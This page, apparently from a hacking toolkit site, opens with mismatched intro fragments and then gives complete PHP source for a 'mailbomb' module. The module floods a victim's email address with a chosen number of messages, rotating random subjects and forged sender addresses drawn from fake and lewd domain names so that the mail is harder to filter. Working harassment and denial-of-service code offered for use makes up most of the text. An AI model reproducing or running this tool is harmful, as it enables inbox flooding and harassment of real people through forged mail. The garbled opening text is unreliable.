..we are going to create a new app for the hacksuite. We're not going to do anything fancy here, we will make a simple app to get familiar how to write compatible scripts for the..
THC xConverter is a tool that makes use of (php) functions in order to calculate, fetch, convert and encrypt data
<?php
/* Sends a specified amount of mailbombs to a victim
Author: Remco Kouw
Site: http://www.hacksuite.com
Last Edit: 29-03-2015
*/
set_time_limit(0);
// set variable to be able to save a task
$_MODULE_C = "thc_xb";
include_once("../../Includes/screen_header.php");
include_once($_PATHS['style_root']."/screen.php");
include_once($_PATHS['functions_root']."/scrn.php");
// options
$sOptions = "<b>logging:</b> ".($_CONTEXT['log']==true ? "on" : "off")."<br>\n";
$sOptions .= "<b>silence:</b> ".($_CONTEXT['silent']==true ? "on" : "off")."<br>\n";
$sOptions .= "<b>verbose:</b> ".($_CONTEXT['verbose']==true ? "on" : "off")."\n";
if(isset($_POST['submit'])){
switch($_POST['submit']){
// attempt to send mails, make sure you have access to a local mail server
case"Send":
echo $sOut;
$iInterval = intval($_POST['iInterval']);
$iMails = intval($_POST['iMails']);
if(!@filter_var($_POST['sTarget'],FILTER_VALIDATE_EMAIL)){
die("No valid email has been specified".$sEnd);
}
if(!$iMails || $iMails<0){
die("Invalid amount of emails".$sEnd);
}
if(!is_int($iInterval)){
$iInterval = 0;
}
if(!@strlen($_POST['sText'])){
die("Enter some email text".$sEnd);
}
include_once($_PATHS['includes_root']."/task_start.php");
break;
// just show index
default:
echo $sOut;
echo $sOptions;
echo $sEnd;
exit;
}
}
else{
echo $sOut;
echo $sOptions;
echo $sEnd;
exit;
}
echo Screen("<br>\n<b>Running..</b><p>\n",$_CONTEXT['verbose'],$_CONTEXT['silent']);
// spit fire...
flush();
ob_flush();
$iMailsSent = 0;
// dynamic email and title for email
$aTitle = array("forum reply","Your order","What is this?","Help me out","Thanks","What did you do?","Hi","hello","thank you","help","question","your question","Fwd","Fw:","Fwd:","Fw","Re:Re:","Re:","helpdesk","help","info","postmaster");
$aUser = array("helpme","date","nope","lons","unsubscribe","subscribe","question","mod","admin","wind","fire","earth","water","helpdesk","help","info","postmaster");
$aDomain = array("xandra","bindtser","wasabi","lorenz","jailbait","orgiehelp","yihaaa","fetish","cutekitties","sexygirls","pornstar","missionaire","vister","wonder","yahooo","vidner","winter","lobstar","otini");
$aTLD = array("com","org","nl","co.uk","biz","info","edu","be","de","net");
for($x=0;$x<$iMails;$x++){
if($x>0 && @is_int(($iMailsSent+1)/100)){
echo Screen($iMailsSent." emails sent<br>\n",$_CONTEXT['verbose'],$_CONTEXT['silent']);
flush();
ob_flush();
}
if(@mail($_POST['sTarget'],$aTitle[mt_rand(0,(count($aTitle)-1))],$_POST['sText'],"From: ".$aUser[mt_rand(0,(count($aUser)-1))]."@".$aDomain[mt_rand(0,(count($aDomain)-1))].".".$aTLD[mt_rand(0,(count($aTLD)-1))])){
$iMailsSent++;
}
else{
echo Screen("Can't send mail<br />\n",$_CONTEXT['verbose'],$_CONTEXT['silent']);
}
}
// update entry in background task file
include_once($_PATHS['includes_root']."/task_end.php");
echo $sEnd;
?>